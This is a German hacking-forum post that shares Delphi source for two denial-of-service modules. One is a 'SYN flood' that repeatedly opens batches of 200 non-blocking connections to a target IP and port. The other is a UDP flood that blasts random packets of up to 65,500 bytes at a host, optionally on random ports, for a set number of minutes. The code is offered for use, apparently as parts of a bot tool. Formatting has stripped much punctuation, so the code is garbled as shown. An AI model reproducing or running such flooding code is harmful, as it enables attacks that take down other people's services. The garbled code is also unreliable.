Themabewertung:
  • 0 Bewertung(en) - 0 im Durchschnitt
  • 1
  • 2
  • 3
  • 4
  • 5
  [Delphi] SYN und UDP Flood
#1
SYN Flood:
PHP-Code:
unit synflood;

interface

uses
  winsock
,
 
 windows;

type

    Tssyn 
Record
    TargetIP        
:string;
 
   TargetPort      :integer;
 
   len             :integer;
 
   end;

var
 
 ddos :Tssyn;
 
 ssynthread :Thandle;

procedure SendSuperSyn;

const
 
 SUPERSYN_SOCKETS 200;

implementation

procedure SendSuperSyn
;
var
 
 superdelayinteger;
 
 SockAddrSOCKADDR_IN;
 
 sock: array [0..SUPERSYN_SOCKETSof Tsocket;
 
 iaddrIN_ADDR;
 
 modeinteger;
 
 c,iinteger;
begin
superdelay 
:= 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr//ip addy
:= 0;
mode := 1;
 
 while (ddos.len) do
 
 begin
    for c 
:= 0 to SUPERSYN_SOCKETS do begin
            sock
[c] := socket(AF_INETSOCK_STREAM0);
 
              if (sock[c] = INVALID_SOCKETthen
                      continue
;
 
           ioctlsocket(sock[c],FIONBIO,mode);
 
   end;

 
   for c := 0 to SUPERSYN_SOCKETS do
 
             connect(sock[c], SockAddrsizeof(SockAddr));
 
       Sleep(superdelay);

 
   for c := 0 to SUPERSYN_SOCKETS do
 
           closesocket(sock[c]); //close sockets

 
  i := 1;
 
 end;

Suspendthread(ssynthread);
ExitThread(0);
end;
end



UDP Flood:
PHP-Code:
unit udpflood;

interface

uses
  Winsock
,
 
 windows;

type

  Tudp 
Record
    host            
:string;
 
   port            :integer;
 
   num             :integer;
 
   delay           :integer;
 
   size            :integer;
 
 end;

var
 
 udp :Tudp;
 
 udpthread :Thandle 

procedure udpfloodhost
;

const
 
 MAXUDPPORT 65535;
 
 MAXPINGSIZE    65500;

implementation

uses commands
;

procedure udpfloodhost;
var
 
 wsDataWSAData;
 
 pbuffstring;
 
 usockTSocket;
 
 iaddrIN_ADDR;
 
 ssinSOCKADDR_IN;
 
 iinteger;
begin

usock 
:= Socket(AF_INETSOCK_DGRAMIPPROTO_UDP);
if 
usock SOCKET_ERROR then
  exit
;
ssin.sin_family := AF_INET;

iaddr.s_addr := inet_addr(pchar(udp.host));
ssin.sin_addr := iaddr;

if (
udp.port 0then udp.port := 1;
if (
udp.port MAXUDPPORTthen udp.port := MAXUDPPORT;
ssin.sin_port := htons(udp.port);

udp.num := (udp.num 60000) + GetTickCount//convert to minute

if (udp.delay 1then udp.delay := 1;
if (
udp.size MAXPINGSIZEthen udp.size := MAXPINGSIZE;

for 
:= 0 to udp.size do //generate buffer
 
 begin
    Randomize
;
 
   pbuff := pbuff Char(Random(255));
 
 end;

while (
udp.num GetTickCount) do
 
 begin
    Randomize
;
 
   for i := 0 to 11 do begin
        sendto
(usockpbuffudp.size Random(10), 0ssinSizeof(ssin));
 
       Sleep(udp.delay);
 
     end;

 
   if udp.port 0 then
      ssin
.sin_port :=  htons(Random(MAXUDPPORT)+1); //generate random port if port = 0
 
 end;



CloseSocket(usock);
Suspendthread(udpthread);
ExitThread(0);
end;

end
Zitieren


Gehe zu:


Benutzer, die gerade dieses Thema anschauen: 1 Gast/Gäste
www.D3n1s.Net